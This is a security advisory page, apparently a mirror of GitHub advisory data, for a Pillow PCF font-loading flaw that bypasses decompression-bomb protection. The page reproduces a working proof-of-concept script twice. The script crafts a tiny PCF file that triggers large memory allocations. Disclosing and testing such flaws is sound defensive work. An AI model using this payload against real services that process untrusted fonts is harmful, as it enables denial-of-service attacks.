GHSA-8V84-F9PQ-WR9X
Vulnerability from github – Published: 2026-07-20 21:08 – Updated: 2026-07-20 21:08
VLAI
Summary
Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
Details
Description
PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:
xsize = right - left (max: 65535 − 0 = 65535)
ysize = ascent + descent (max: 65535 + 65535 = 131070)
Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.
Vulnerable code (PIL/PcfFontFile.py line 224–227):
for i in range(nbitmaps):
xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled
b, e = offsets[i : i + 2]
bitmaps.append(
Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
# ↑ NO _decompression_bomb_check()!
)
Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:
- Persistent attack: Provide matching bitmap data →
frombytes()succeeds → image stored infont.glyph[ch]permanently - Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data →
Image.new()allocates the full buffer →ValueError→ buffer freed → but the spike occurs before Python can respond
Steps to reproduce
Proof of Concept script:
#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")
from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold
# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
# PCF binary constants
PCF_MAGIC = 0x70636601
PCF_PROPS = 1 << 0
PCF_METRICS = 1 << 2
PCF_BITMAPS = 1 << 3
PCF_ENCODINGS= 1 << 5
def build_bomb_pcf(xsize, ysize):
# Properties: empty
props = struct.pack("<III", 0, 0, 0)
# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
metrics = struct.pack("<II", 0, 1)
metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
# Bitmaps: 1 glyph, empty data (transient attack)
bitmaps = struct.pack("<II", 0, 1)
bitmaps += struct.pack("<I", 0) # offset[0] = 0
bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0
# Encodings: char 0x41 ('A') → glyph 0
enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
encodings += struct.pack("<" + "H"*128, *enc_offsets)
secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
(PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
hdr_size = 4 + 4 + len(secs) * 16
out = struct.pack("<II", PCF_MAGIC, len(secs))
offset = hdr_size
for stype, sdata in secs:
out += struct.pack("<IIII", stype, 0, len(sdata), offset)
offset += len(sdata)
for _, sdata in secs:
out += sdata
return out
pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size : {len(pcf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
tracemalloc.start()
try:
font = PcfFontFile(io.BytesIO(pcf))
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
_, peak = tracemalloc.get_traced_memory()
tracemalloc.stop()
print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
print(f" Heap peak: {peak/1024**2:.2f} MB")
print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")
Expected output:
[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size : 148 bytes
[*] Glyph size : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target : 23 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
C-heap allocation of ~23 MB occurred before exception
Amplification table:
| PCF file | Glyph dims | C-heap (mode '1') | Bomb check |
|---|---|---|---|
| 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |
| 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |
| ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
Impact
- Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
- Confidentiality: None
- Integrity: None
- Any service loading PCF fonts from untrusted sources (e.g.,
PcfFontFile(fp)) is affected PcfFontFileis never loaded viaImage.open(), so the bomb check protection is completely absent from the entire PCF font loading path- Confirmed unpatched on
python-pillow/Pillowmainbranch as of 2026-06-07
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54059"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:08:27Z",
"nvd_published_at": "2026-07-06T19:17:08Z",
"severity": "HIGH"
},
"details": "## Description\n`PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values:\n\n```\nxsize = right - left (max: 65535 \u2212 0 = 65535)\nysize = ascent + descent (max: 65535 + 65535 = 131070)\n```\n\nMaximum exploitable pixel count: **65,535 \u00d7 131,070 = 8,589,734,450 pixels** \u2014 **48\u00d7 the DecompressionBombError threshold**.\n\n**Vulnerable code (`PIL/PcfFontFile.py` line 224\u2013227):**\n```python\nfor i in range(nbitmaps):\n xsize, ysize = metrics[i][:2] # from PCF METRICS \u2014 attacker-controlled\n b, e = offsets[i : i + 2]\n bitmaps.append(\n Image.frombytes(\"1\", (xsize, ysize), data[b:e], \"raw\", mode, pad(xsize))\n # \u2191 NO _decompression_bomb_check()!\n )\n```\n\n`Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths:\n\n- **Persistent attack**: Provide matching bitmap data \u2192 `frombytes()` succeeds \u2192 image stored in `font.glyph[ch]` permanently\n- **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data \u2192 `Image.new()` allocates the full buffer \u2192 `ValueError` \u2192 buffer freed \u2192 but the spike occurs before Python can respond\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: PcfFontFile bomb bypass \u2014 148-byte PCF \u2192 23 MB allocation\"\"\"\nimport io, struct, tracemalloc, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.PcfFontFile import PcfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 14000, 14000 # 196M pixels \u2192 above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# PCF binary constants\nPCF_MAGIC = 0x70636601\nPCF_PROPS = 1 \u003c\u003c 0\nPCF_METRICS = 1 \u003c\u003c 2\nPCF_BITMAPS = 1 \u003c\u003c 3\nPCF_ENCODINGS= 1 \u003c\u003c 5\n\ndef build_bomb_pcf(xsize, ysize):\n # Properties: empty\n props = struct.pack(\"\u003cIII\", 0, 0, 0)\n\n # Metrics (jumbo, non-compressed): 1 glyph \u2014 xsize=right-left, ysize=ascent+descent\n metrics = struct.pack(\"\u003cII\", 0, 1)\n metrics += struct.pack(\"\u003cHHHHHH\", 0, xsize, xsize, ysize, 0, 0)\n\n # Bitmaps: 1 glyph, empty data (transient attack)\n bitmaps = struct.pack(\"\u003cII\", 0, 1)\n bitmaps += struct.pack(\"\u003cI\", 0) # offset[0] = 0\n bitmaps += struct.pack(\"\u003cIIII\", 0, 0, 0, 0) # bitmap_sizes all = 0\n\n # Encodings: char 0x41 (\u0027A\u0027) \u2192 glyph 0\n enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62\n encodings = struct.pack(\"\u003cIHHHHH\", 0, 0, 127, 0, 0, 0xFFFF)\n encodings += struct.pack(\"\u003c\" + \"H\"*128, *enc_offsets)\n\n secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),\n (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]\n hdr_size = 4 + 4 + len(secs) * 16\n out = struct.pack(\"\u003cII\", PCF_MAGIC, len(secs))\n offset = hdr_size\n for stype, sdata in secs:\n out += struct.pack(\"\u003cIIII\", stype, 0, len(sdata), offset)\n offset += len(sdata)\n for _, sdata in secs:\n out += sdata\n return out\n\npcf = build_bomb_pcf(W, H)\nprint(f\"[*] PCF file size : {len(pcf)} bytes\")\nprint(f\"[*] Glyph size : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target : {W*H//8//1024**2} MB (mode \u00271\u0027 = 1 bit/pixel)\")\n\ntracemalloc.start()\ntry:\n font = PcfFontFile(io.BytesIO(pcf))\n _, peak = tracemalloc.get_traced_memory()\n tracemalloc.stop()\n print(f\"[!] CONFIRMED (persistent): bomb check bypassed \u2014 heap peak {peak/1024**2:.2f} MB\")\nexcept Exception as e:\n _, peak = tracemalloc.get_traced_memory()\n tracemalloc.stop()\n print(f\"[!] CONFIRMED (transient): {type(e).__name__} after allocation\")\n print(f\" Heap peak: {peak/1024**2:.2f} MB\")\n print(f\" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] PCF file size : 148 bytes\n[*] Glyph size : 14000 x 14000 = 196,000,000 pixels\n[*] C-heap target : 23 MB (mode \u00271\u0027 = 1 bit/pixel)\n[!] CONFIRMED (transient): ValueError after allocation\n C-heap allocation of ~23 MB occurred before exception\n```\n\n**Amplification table:**\n\n| PCF file | Glyph dims | C-heap (mode \u00271\u0027) | Bomb check |\n|---|---|---|---|\n| 148 bytes | 14000 \u00d7 14000 | 23 MB (transient) | Bypassed |\n| 148 bytes | 65535 \u00d7 131070 | 1.07 GB (transient) | Bypassed |\n| ~512 MB | 65535 \u00d7 131070 | 1.07 GB (persistent) | Bypassed |\n\n## Impact\n- **Availability**: HIGH \u2014 up to 1.07 GB per glyph, no limit per font file\n- **Confidentiality**: None\n- **Integrity**: None\n- Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected\n- `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path\n- Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07",
"id": "GHSA-8v84-f9pq-wr9x",
"modified": "2026-07-20T21:08:27Z",
"published": "2026-07-20T21:08:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54059"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` \u2014 bomb protection bypass via PCF font loading"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…